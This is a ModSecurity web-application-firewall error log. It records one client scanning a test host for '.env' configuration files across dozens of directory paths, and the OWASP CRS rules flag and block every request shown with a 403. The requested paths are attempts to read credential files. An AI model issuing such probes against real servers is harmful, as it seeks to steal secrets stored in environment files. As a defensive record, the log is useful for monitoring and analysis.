[Wed Feb 25 06:05:24.127032 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/news-app/.env&quot;] [unique_id &quot;aZ6DFFIszkcv5YapLJKW_wAAAAI&quot;]
[Wed Feb 25 06:05:24.127216 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/news-app/.env&quot;] [unique_id &quot;aZ6DFFIszkcv5YapLJKW_wAAAAI&quot;]
[Wed Feb 25 06:05:24.162865 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /next/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/next/.env&quot;] [unique_id &quot;aZ6DFFIszkcv5YapLJKXAAAAAAI&quot;]
[Wed Feb 25 06:05:24.163163 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/next/.env&quot;] [unique_id &quot;aZ6DFFIszkcv5YapLJKXAAAAAAI&quot;]
[Wed Feb 25 06:05:24.163385 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/next/.env&quot;] [unique_id &quot;aZ6DFFIszkcv5YapLJKXAAAAAAI&quot;]
[Wed Feb 25 06:05:24.248580 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /nginx-server/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx-server/.env&quot;] [unique_id &quot;aZ6DFFIszkcv5YapLJKXAQAAAAI&quot;]
[Wed Feb 25 06:05:24.248876 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx-server/.env&quot;] [unique_id &quot;aZ6DFFIszkcv5YapLJKXAQAAAAI&quot;]
[Wed Feb 25 06:05:24.249082 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx-server/.env&quot;] [unique_id &quot;aZ6DFFIszkcv5YapLJKXAQAAAAI&quot;]
[Wed Feb 25 06:05:24.334048 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /niffler-frontend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/niffler-frontend/.env&quot;] [unique_id &quot;aZ6DFFIszkcv5YapLJKXAgAAAAI&quot;]
[Wed Feb 25 06:05:24.334364 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/niffler-frontend/.env&quot;] [unique_id &quot;aZ6DFFIszkcv5YapLJKXAgAAAAI&quot;]
[Wed Feb 25 06:05:24.334558 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/niffler-frontend/.env&quot;] [unique_id &quot;aZ6DFFIszkcv5YapLJKXAgAAAAI&quot;]
[Wed Feb 25 06:05:24.360819 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /node_modules/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node_modules/.env&quot;] [unique_id &quot;aZ6DFFIszkcv5YapLJKXAwAAAAI&quot;]
[Wed Feb 25 06:05:24.361115 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node_modules/.env&quot;] [unique_id &quot;aZ6DFFIszkcv5YapLJKXAwAAAAI&quot;]
[Wed Feb 25 06:05:24.361297 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node_modules/.env&quot;] [unique_id &quot;aZ6DFFIszkcv5YapLJKXAwAAAAI&quot;]
[Wed Feb 25 06:05:24.494206 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /nodejs-projects/play-ground/login/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Nodejs-Projects/play-ground/login/.env&quot;] [unique_id &quot;aZ6DFFIszkcv5YapLJKXBAAAAAI&quot;]
[Wed Feb 25 06:05:24.494502 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Nodejs-Projects/play-ground/login/.env&quot;] [unique_id &quot;aZ6DFFIszkcv5YapLJKXBAAAAAI&quot;]
[Wed Feb 25 06:05:24.494683 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Nodejs-Projects/play-ground/login/.env&quot;] [unique_id &quot;aZ6DFFIszkcv5YapLJKXBAAAAAI&quot;]
[Wed Feb 25 06:05:24.562527 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /nodejs-projects/play-ground/manageuserroles/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Nodejs-Projects/play-ground/ManageUserRoles/.env&quot;] [unique_id &quot;aZ6DFFIszkcv5YapLJKXBQAAAAI&quot;]
[Wed Feb 25 06:05:24.562792 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Nodejs-Projects/play-ground/ManageUserRoles/.env&quot;] [unique_id &quot;aZ6DFFIszkcv5YapLJKXBQAAAAI&quot;]
[Wed Feb 25 06:05:24.562973 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Nodejs-Projects/play-ground/ManageUserRoles/.env&quot;] [unique_id &quot;aZ6DFFIszkcv5YapLJKXBQAAAAI&quot;]
[Wed Feb 25 06:05:24.613424 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /novnc/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/noVNC/.env&quot;] [unique_id &quot;aZ6DFFIszkcv5YapLJKXBgAAAAI&quot;]
[Wed Feb 25 06:05:24.613674 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/noVNC/.env&quot;] [unique_id &quot;aZ6DFFIszkcv5YapLJKXBgAAAAI&quot;]
[Wed Feb 25 06:05:24.613835 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/noVNC/.env&quot;] [unique_id &quot;aZ6DFFIszkcv5YapLJKXBgAAAAI&quot;]
[Wed Feb 25 06:05:24.780277 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /nuke.app.ui/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Nuke.App.Ui/.env&quot;] [unique_id &quot;aZ6DFFIszkcv5YapLJKXCAAAAAI&quot;]
[Wed Feb 25 06:05:24.780559 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Nuke.App.Ui/.env&quot;] [unique_id &quot;aZ6DFFIszkcv5YapLJKXCAAAAAI&quot;]
[Wed Feb 25 06:05:24.780746 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Nuke.App.Ui/.env&quot;] [unique_id &quot;aZ6DFFIszkcv5YapLJKXCAAAAAI&quot;]
[Wed Feb 25 06:05:24.805123 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /pictures/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pictures/.env&quot;] [unique_id &quot;aZ6DFPjNQqDNAmB2zjqaWgAAAAY&quot;]
[Wed Feb 25 06:05:24.805360 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pictures/.env&quot;] [unique_id &quot;aZ6DFPjNQqDNAmB2zjqaWgAAAAY&quot;]
[Wed Feb 25 06:05:24.805520 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pictures/.env&quot;] [unique_id &quot;aZ6DFPjNQqDNAmB2zjqaWgAAAAY&quot;]
[Wed Feb 25 06:05:24.811735 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /nuxt/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nuxt/.env&quot;] [unique_id &quot;aZ6DFFIszkcv5YapLJKXCQAAAAI&quot;]
[Wed Feb 25 06:05:24.811979 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nuxt/.env&quot;] [unique_id &quot;aZ6DFFIszkcv5YapLJKXCQAAAAI&quot;]
[Wed Feb 25 06:05:24.812133 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nuxt/.env&quot;] [unique_id &quot;aZ6DFFIszkcv5YapLJKXCQAAAAI&quot;]
[Wed Feb 25 06:05:24.847931 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /platform/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/platform/.env&quot;] [unique_id &quot;aZ6DFPjNQqDNAmB2zjqaWwAAAAY&quot;]
